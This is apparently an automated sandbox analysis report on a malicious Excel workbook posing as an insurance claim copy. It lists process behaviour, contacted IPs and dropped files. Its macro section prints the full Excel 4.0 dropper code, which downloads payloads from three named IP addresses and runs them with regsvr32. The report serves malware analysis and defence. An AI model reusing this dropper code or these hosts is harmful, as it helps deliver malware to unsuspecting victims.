Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe TID: 2508	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1212	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2272	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: EXCEL.EXE, 00000000.00000002.1035010452.00000000008B0000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1034677381.0000000000950000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1034864920.0000000000A40000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1034863173.0000000000A20000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: EXCEL.EXE, 00000000.00000002.1035010452.00000000008B0000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1034677381.0000000000950000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1034864920.0000000000A40000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1034863173.0000000000A20000.00000002.00020000.sdmp	Binary or memory string: !Progman
Source: EXCEL.EXE, 00000000.00000002.1035010452.00000000008B0000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1034677381.0000000000950000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1034864920.0000000000A40000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1034863173.0000000000A20000.00000002.00020000.sdmp	Binary or memory string: Program Manager<

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting2	Path Interception	Process Injection2	Masquerading1	OS Credential Dumping	Virtualization/Sandbox Evasion1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution22	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Process Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer4	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion1	Security Account Manager	File and Directory Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection2	NTDS	System Information Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol12	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting2	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ClaimCopy-355714047-12022021.xlsb	10%	Virustotal		Browse

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://185.82.126.78/574766024224.dat	0%	Avira URL Cloud	safe
http://185.82.126.78/574766024224.dat2	0%	Avira URL Cloud	safe
http://158.69.133.78/574766024224.dat2	0%	Avira URL Cloud	safe
http://45.142.211.62/574766024224.dat#/	0%	Avira URL Cloud	safe
http://45.142.211.62/574766024224.dat2	0%	Avira URL Cloud	safe
http://158.69.133.78/574766024224.dat	0%	Avira URL Cloud	safe
http://185.82.126.78/574766024224.dat29	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://45.142.211.62/574766024224.dat	0%	Avira URL Cloud	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://158.69.133.78/574766024224.dat2	false	Avira URL Cloud: safe	unknown
http://158.69.133.78/574766024224.dat	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	EXCEL.EXE, 00000000.00000002.1041541153.0000000005587000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036389429.0000000004AC7000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036411560.0000000004A37000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036402888.0000000004C57000.00000002.00020000.sdmp	false		high
http://www.windows.com/pctv.	regsvr32.exe, 0000000B.00000002.808723112.00000000048A0000.00000002.00020000.sdmp	false		high
http://investor.msn.com	EXCEL.EXE, 00000000.00000002.1041026257.00000000053A0000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036044186.00000000048E0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036063924.0000000004850000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036057215.0000000004A70000.00000002.00020000.sdmp, regsvr32.exe, 0000000B.00000002.808723112.00000000048A0000.00000002.00020000.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	EXCEL.EXE, 00000000.00000002.1041026257.00000000053A0000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036044186.00000000048E0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036063924.0000000004850000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036057215.0000000004A70000.00000002.00020000.sdmp, regsvr32.exe, 0000000B.00000002.808723112.00000000048A0000.00000002.00020000.sdmp	false		high
http://www.icra.org/vocabulary/.	EXCEL.EXE, 00000000.00000002.1041541153.0000000005587000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036389429.0000000004AC7000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036411560.0000000004A37000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036402888.0000000004C57000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	regsvr32.exe, 00000006.00000002.1035342275.0000000003AB0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1035333395.0000000003A00000.00000002.00020000.sdmp	false		high
http://185.82.126.78/574766024224.dat	EXCEL.EXE, 00000000.00000002.1040925299.0000000005297000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://185.82.126.78/574766024224.dat2	EXCEL.EXE, 00000000.00000002.1041980288.0000000005B3D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://investor.msn.com/	EXCEL.EXE, 00000000.00000002.1041026257.00000000053A0000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036044186.00000000048E0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036063924.0000000004850000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036057215.0000000004A70000.00000002.00020000.sdmp, regsvr32.exe, 0000000B.00000002.808723112.00000000048A0000.00000002.00020000.sdmp	false		high
http://45.142.211.62/574766024224.dat#/	EXCEL.EXE, 00000000.00000002.1040925299.0000000005297000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://45.142.211.62/574766024224.dat2	EXCEL.EXE, 00000000.00000002.1041980288.0000000005B3D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://185.82.126.78/574766024224.dat29	EXCEL.EXE, 00000000.00000002.1041980288.0000000005B3D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.%s.comPA	regsvr32.exe, 00000006.00000002.1035342275.0000000003AB0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1035333395.0000000003A00000.00000002.00020000.sdmp	false	URL Reputation: safe	low
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	EXCEL.EXE, 00000000.00000002.1041541153.0000000005587000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036389429.0000000004AC7000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036411560.0000000004A37000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036402888.0000000004C57000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://www.hotmail.com/oe	EXCEL.EXE, 00000000.00000002.1041026257.00000000053A0000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1036044186.00000000048E0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1036063924.0000000004850000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1036057215.0000000004A70000.00000002.00020000.sdmp, regsvr32.exe, 0000000B.00000002.808723112.00000000048A0000.00000002.00020000.sdmp	false		high
http://45.142.211.62/574766024224.dat	EXCEL.EXE, 00000000.00000002.1040925299.0000000005297000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://servername/isapibackend.dll	regsvr32.exe, 00000006.00000002.1034758219.0000000001D50000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1034921258.0000000001E40000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	low

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
45.142.211.62	unknown	Russian Federation	208861	RACKTECHRU	false
158.69.133.78	unknown	Canada	16276	OVHFR	false
185.82.126.78	unknown	Latvia	52173	MAKONIXLV	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	532933
Start date:	02.12.2021
Start time:	20:48:05
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	ClaimCopy-355714047-12022021.xlsb
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.expl.evad.winXLSB@13/5@0/3
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 6
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsb Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Found warning dialog Click Ok Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, WMIADAP.exe, svchost.exe Execution Graph export aborted for target EXCEL.EXE, PID 2812 because there are no executed function

Simulations

Behavior and APIs

Time	Type	Description
20:51:17	API Interceptor	3x Sleep call for process: regsvr32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
45.142.211.62	ClaimCopy-1848214335-12022021.xlsb	Get hash	malicious	Browse	45.142.211.62/337591964609.dat2
	ClaimCopy-1848214335-12022021.xlsb	Get hash	malicious	Browse	45.142.211.62/710203175032.dat2
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	45.142.211.62/480628690611.dat2
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	45.142.211.62/939602286691.dat2
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	45.142.211.62/533792932717.dat2
158.69.133.78	ClaimCopy-1848214335-12022021.xlsb	Get hash	malicious	Browse	158.69.133.78/337591964609.dat2
	ClaimCopy-1848214335-12022021.xlsb	Get hash	malicious	Browse	158.69.133.78/710203175032.dat2
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	158.69.133.78/480628690611.dat2
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	158.69.133.78/939602286691.dat2
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	158.69.133.78/533792932717.dat2
185.82.126.78	ClaimCopy-1848214335-12022021.xlsb	Get hash	malicious	Browse	185.82.126.78/337591964609.dat2
	ClaimCopy-1848214335-12022021.xlsb	Get hash	malicious	Browse	185.82.126.78/710203175032.dat2
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	185.82.126.78/480628690611.dat2
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	185.82.126.78/939602286691.dat2
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	185.82.126.78/533792932717.dat2

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
RACKTECHRU	ClaimCopy-1848214335-12022021.xlsb	Get hash	malicious	Browse	45.142.211.62
	ClaimCopy-1848214335-12022021.xlsb	Get hash	malicious	Browse	45.142.211.62
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	45.142.211.62
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	45.142.211.62
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	45.142.211.62
	CNSL-1741057625-Nov-22.xlsb	Get hash	malicious	Browse	45.142.211.22
	CNSL-1741057625-Nov-22.xlsb	Get hash	malicious	Browse	45.142.211.22
	8Jem3WHfr1.exe	Get hash	malicious	Browse	193.38.235.234
	Static.exe	Get hash	malicious	Browse	193.38.235.15
	aFxrnP3GU4	Get hash	malicious	Browse	91.223.144.104
	mirai.arm	Get hash	malicious	Browse	95.181.163.105
	W1Mjz5NWWl	Get hash	malicious	Browse	91.223.144.109
	qQKiWkenaq.exe	Get hash	malicious	Browse	185.156.177.75
	VKtCIrdZz3.exe	Get hash	malicious	Browse	185.156.177.75
	9lzoAGDhiF.exe	Get hash	malicious	Browse	185.156.177.75
	jgkOeJEe1J.exe	Get hash	malicious	Browse	185.156.177.75
	2xwePIrz6Y.exe	Get hash	malicious	Browse	185.156.177.75
	I6l48v5NQD	Get hash	malicious	Browse	193.38.234.19
	Nzt41q6zTL.exe	Get hash	malicious	Browse	95.181.163.15
	setup_x86_x64_install.exe	Get hash	malicious	Browse	95.181.163.181
MAKONIXLV	ClaimCopy-1848214335-12022021.xlsb	Get hash	malicious	Browse	185.82.126.78
	ClaimCopy-1848214335-12022021.xlsb	Get hash	malicious	Browse	185.82.126.78
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	185.82.126.78
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	185.82.126.78
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	185.82.126.78
	REJC-688189380-Nov-25.xlsb	Get hash	malicious	Browse	185.82.127.80
	REJC-688189380-Nov-25.xlsb	Get hash	malicious	Browse	185.82.127.80
	51160ae1edfcf45c5e3e6e1bedc4a5bdcfc27d5e23cb0.exe	Get hash	malicious	Browse	185.82.126.98
	New Order Contract No 44322465.exe	Get hash	malicious	Browse	185.82.126.89
	ttIfPeM79u.exe	Get hash	malicious	Browse	185.82.127.214
	FANDER_MOD V3.03.exe	Get hash	malicious	Browse	185.82.126.114
	FANDER_MOD V3.03.exe	Get hash	malicious	Browse	185.82.126.114
	1D40F773FC7559E478572A30D1CDB0436E1FD792.exe	Get hash	malicious	Browse	185.82.126.114
	H-Fortnite.exe	Get hash	malicious	Browse	185.82.126.114
	FOXHACK.exe	Get hash	malicious	Browse	185.82.126.114
	AlingWare.exe	Get hash	malicious	Browse	185.82.126.114
	MinecraftHackV1.8.exe	Get hash	malicious	Browse	185.82.126.114
	bbXJN4YEIq.exe	Get hash	malicious	Browse	185.82.126.114
	WjmYak325l.exe	Get hash	malicious	Browse	185.82.126.100
	RpcNs4.exe	Get hash	malicious	Browse	185.86.148.68
OVHFR	7009.xlsx	Get hash	malicious	Browse	87.98.234.164
	TNT Documents.exe	Get hash	malicious	Browse	51.255.30.106
	ClaimCopy-1848214335-12022021.xlsb	Get hash	malicious	Browse	158.69.133.78
	ClaimCopy-1848214335-12022021.xlsb	Get hash	malicious	Browse	158.69.133.78
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	158.69.133.78
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	158.69.133.78
	ClaimCopy-539408676-12022021.xlsb	Get hash	malicious	Browse	158.69.133.78
	reg.exe	Get hash	malicious	Browse	213.186.33.5
	REQUEST FOR SPECIFICATION.exe	Get hash	malicious	Browse	213.251.158.218
	ETgVKIYRW5.dll	Get hash	malicious	Browse	149.56.106.83
	cMVyW1SDZz.dll	Get hash	malicious	Browse	149.56.106.83
	ETgVKIYRW5.dll	Get hash	malicious	Browse	149.56.106.83
	cMVyW1SDZz.dll	Get hash	malicious	Browse	149.56.106.83
	2iJBYBel22.dll	Get hash	malicious	Browse	149.56.106.83
	2iJBYBel22.dll	Get hash	malicious	Browse	149.56.106.83
	Tender SN980018277 & SN9901827 Signed Copy.exe	Get hash	malicious	Browse	51.161.104.181
	Invoice.exe	Get hash	malicious	Browse	54.38.220.85
	AegEywmjUJ.exe	Get hash	malicious	Browse	51.79.99.124
	P.O SPECIFICATION.xlsx	Get hash	malicious	Browse	51.79.99.124
	DC-330NC.xlsx	Get hash	malicious	Browse	51.79.99.124

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DD699F23.jpg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1098x988, frames 3
Category:	dropped
Size (bytes):	85681
Entropy (8bit):	7.915850776614707
Encrypted:	false
SSDEEP:	1536:wB5SOqcuTUdehXyvl0f4CZpUcab2GFVbgPuDF7exsylBviKsUw:Pc6EehCfCZpUHKGXbBKsiit
MD5:	4F100E2CEFED046B44EC799015B454EF
SHA1:	5149E5D1B5212C77B3548914E9B47D67B4BEA574
SHA-256:	D30B441AB0E88A1487F29A80D63E2A4865A3F5DF7854FB8359B354397F807E2C
SHA-512:	153581151434815CC17E88D587FF6A6AF8F7154B4A05146453A9814F662C68D79F1063BDD9F789A1DB2F5818D199EF600703F8BC35785B0705332EC231F35A14
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF...........................................'......'#" "#>1++1>H<9<HWNNWmhm................................'......'#" "#>1++1>H<9<HWNNWmhm...........J..".................................................".............................................................q.[..+...*...K.... ..............?.......g....6..)....=~....................w5...........7_.-.......k.../...;.........!.z%o..w!....,.............?...Gs?.].......C..P~i.._.=..`....{...w....."..-........:..d.....................;z7)...~g........C....v..\..O.....0...v........v... ............A...;.~Y.}.....MsC.~..5..?.;.........V7....G...b..~...........@................O.}...o4.s_...z78.1.yl...X~.u..~..S....J..V~S..x.u~.. ..............@....u..m....rGrf.P.._+Z..?AW..~..u.G....................o&..................................................................9.0...H.Zx...M.y.[kW..o......;.....z......}v.m..[R.i....R..m....+.J............r6.P....\|s..].vO._.}..K.]-V.U=9}........W......3.....G.t}Y

C:\Users\user\Desktop\C8260000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	99428
Entropy (8bit):	7.830390761754352
Encrypted:	false
SSDEEP:	1536:IIB5SOqcuTUdehXyvl0f4CZpUcab2GFVbgPuDF7exsylBviKsUBy:I3c6EehCfCZpUHKGXbBKsiiv
MD5:	DE0865E59F5EB8038E646D9789819DD6
SHA1:	094D57774070BACAAA69C3A6BDCFA2B9743301AA
SHA-256:	34787D413A8BDB2B87D671E22E5C648AFD41C8B4E7E10BE09E6D2D827CED6AD8
SHA-512:	7A5542ADC0BEADFE3118BFDDE11D7153153E8AC6DEC48F5A7838A73E87F1BE1F8ADF2B8868139B47E8D717F1CD7972A2D88E691B525357BC0F2D15C00A2F31AA
Malicious:	false
Reputation:	low
Preview:	PK..........!.V..............[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................U.n.0.}G..".....BM..C......^\|.x8.....v...&kTx.......{..e....jg+...V.........{V`.VI.,Tl...._.n... ...1..B`.B'.;...l\.d.ah...O..X,....6.1q....l..UO.w+....w.T..F.2.B.U........ r.........M.."...0.......N..l..7dsD!..w0..........&I}...ZAq-C.&;.F.Fd.9...F._.)...h....r..../VA?K.p...O...../.s....?.d.....S.v...K>].c...6.].r.CG...4O.4R....p...b.....M.t..c..8!...........D/d..Q.p.1f....n..0....}..>...d0S.....X...

C:\Users\user\Desktop\C8260000:Zone.Identifier Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\ClaimCopy-355714047-12022021.xlsbE. (copy) Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	99428
Entropy (8bit):	7.830390761754352
Encrypted:	false
SSDEEP:	1536:IIB5SOqcuTUdehXyvl0f4CZpUcab2GFVbgPuDF7exsylBviKsUBy:I3c6EehCfCZpUHKGXbBKsiiv
MD5:	DE0865E59F5EB8038E646D9789819DD6
SHA1:	094D57774070BACAAA69C3A6BDCFA2B9743301AA
SHA-256:	34787D413A8BDB2B87D671E22E5C648AFD41C8B4E7E10BE09E6D2D827CED6AD8
SHA-512:	7A5542ADC0BEADFE3118BFDDE11D7153153E8AC6DEC48F5A7838A73E87F1BE1F8ADF2B8868139B47E8D717F1CD7972A2D88E691B525357BC0F2D15C00A2F31AA
Malicious:	true
Preview:	PK..........!.V..............[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................U.n.0.}G..".....BM..C......^\|.x8.....v...&kTx.......{..e....jg+...V.........{V`.VI.,Tl...._.n... ...1..B`.B'.;...l\.d.ah...O..X,....6.1q....l..UO.w+....w.T..F.2.B.U........ r.........M.."...0.......N..l..7dsD!..w0..........&I}...ZAq-C.&;.F.Fd.9...F._.)...h....r..../VA?K.p...O...../.s....?.d.....S.v...K>].c...6.].r.CG...4O.4R....p...b.....M.t..c..8!...........D/d..Q.p.1f....n..0....}..>...d0S.....X...

C:\Users\user\Desktop\~$ClaimCopy-355714047-12022021.xlsb Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.831014482033694
TrID:	Microsoft Excel Office Binary workbook document (40504/1) 83.51% ZIP compressed archive (8000/1) 16.49%
File name:	ClaimCopy-355714047-12022021.xlsb
File size:	99677
MD5:	1f51fa867f5bbce3ab1cc40bf75f7f9b
SHA1:	2c690539b53f4db35af92e2b88880c3d76fcd323
SHA256:	f3dc3443c7ba185b1c8eff63807384e9bb6734fa0774d9964213dd9baf3fb3c3
SHA512:	cf98c415cee36aa57815e5f0b2a0708ca7035ec34c46848cc47fb07859d013f5f9c5651d32478a2fe4ef62730cf450570d28ae18ec884a8a0612e739a37e8f84
SSDEEP:	1536:rMB5SOqcuTUdehXyvl0f4CZpUcab2GFVbgPuDF7exsylBviKsUfp:/c6EehCfCZpUHKGXbBKsiiOp
File Content Preview:	PK..........!...~.............[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2ea8aa4b4b4b4

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "ClaimCopy-355714047-12022021.xlsb"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

8,6,=Drozd(0,"http://"&Tiposa!E21&Tiposa!G22&Tiposa!G23,"C:\ProgramData\Volet1.ocx",0,0)
9,6,=Drozd(0,"http://"&Tiposa!E22&Tiposa!G22&Tiposa!G23,"C:\ProgramData\Volet2.ocx",0,0)
10,6,=Drozd(0,"http://"&Tiposa!E23&Tiposa!G22&Tiposa!G23,"C:\ProgramData\Volet3.ocx",0,0)
11,6,=Drozd(0,"http://"&Tiposa!E24&Tiposa!G22&Tiposa!G24,"C:\ProgramData\Volet4.ocx",0,0)
12,6,=Drozd(0,"http://"&Tiposa!E25&Tiposa!G22&Tiposa!G24,"C:\ProgramData\Volet5.ocx",0,0)
13,6,=Drozd(0,"http://"&Tiposa!E26&Tiposa!G22&Tiposa!G24,"C:\ProgramData\Volet6.ocx",0,0)
15,6,=EXEC("regsvr32  C:\ProgramData\Volet1.ocx")
16,6,=EXEC("regsvr32 C:\ProgramData\Volet2.ocx")
17,6,=EXEC("regsvr32 C:\ProgramData\Volet3.ocx")
18,6,=EXEC("regsvr32 -e -n -i:&Tiposa!G22&  C:\ProgramData\Volet4.ocx")
19,6,=EXEC("regsvr32 -e -n -i:&Tiposa!G22&  C:\ProgramData\Volet5.ocx")
20,6,=EXEC("regsvr32 -e -n -i:&Tiposa!G22&  C:\ProgramData\Volet6.ocx")
23,6,=HALT()

1,1,523
4,9,34543
4,12,43
5,2,ui
5,9,7
5,14,43
6,14,36
7,0,ug
7,1,&#208;&#181;&#209;&#131;5&#209;&#134;&#209;&#131;5
8,9,34
8,10,5
9,1,y
9,16,346
10,7,rt
10,8,345
10,9,u
11,2,23
11,7,ertertyh57s5ry
11,11,5
11,12,35
12,1,65
12,2,7
12,9,r67
13,2,mfy
13,7,65
13,10,7
13,14,34
13,15,543
14,0,uh
14,1,y
15,0,7
15,7,65
15,10,ae46
16,2,d7
16,3,uRl
17,3,=&#34;Mon&#34;
17,9,dt
17,10,6
17,12,u
17,13,5
18,3,=&#34;URLDownloadTo&#34;
18,8,yu
18,10,sb
18,14,5
19,3,=&#34;JJCCBB&#34;
19,7,f
20,0,7
20,1,7
20,4,185.82.126.78/
20,7,523
20,8,u
21,0,md
21,4,158.69.133.78/
21,6,=RANDBETWEEN(142536473,988879789754)
21,9,s
21,11,m
22,1,7
22,4,45.142.211.62/
22,6,=&#34;.dat&#34;
22,8,6
23,4,45.142.211.62/
23,6,=&#34;.dat2&#34;
23,11,4
23,15,46
24,4,185.82.126.78/
24,6,=REGISTER(D17&#38;D18,D19&#38;&#34;FileA&#34;,D20,&#34;Drozd&#34;,,1,9)
24,8,23
24,14,6
24,15,43
25,1,567
25,4,158.69.133.78/
25,10,23
25,13,5
28,2,756
37,6,=GOTO(Tiposa1!G8)

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
12/02/21-20:49:37.323864	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49167	158.69.133.78	192.168.2.22
12/02/21-20:51:44.215042	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49175	158.69.133.78	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2021 20:48:54.626154900 CET	49165	80	192.168.2.22	185.82.126.78
Dec 2, 2021 20:48:57.630085945 CET	49165	80	192.168.2.22	185.82.126.78
Dec 2, 2021 20:49:03.636632919 CET	49165	80	192.168.2.22	185.82.126.78
Dec 2, 2021 20:49:15.637351036 CET	49166	80	192.168.2.22	185.82.126.78
Dec 2, 2021 20:49:18.645231009 CET	49166	80	192.168.2.22	185.82.126.78
Dec 2, 2021 20:49:24.651915073 CET	49166	80	192.168.2.22	185.82.126.78
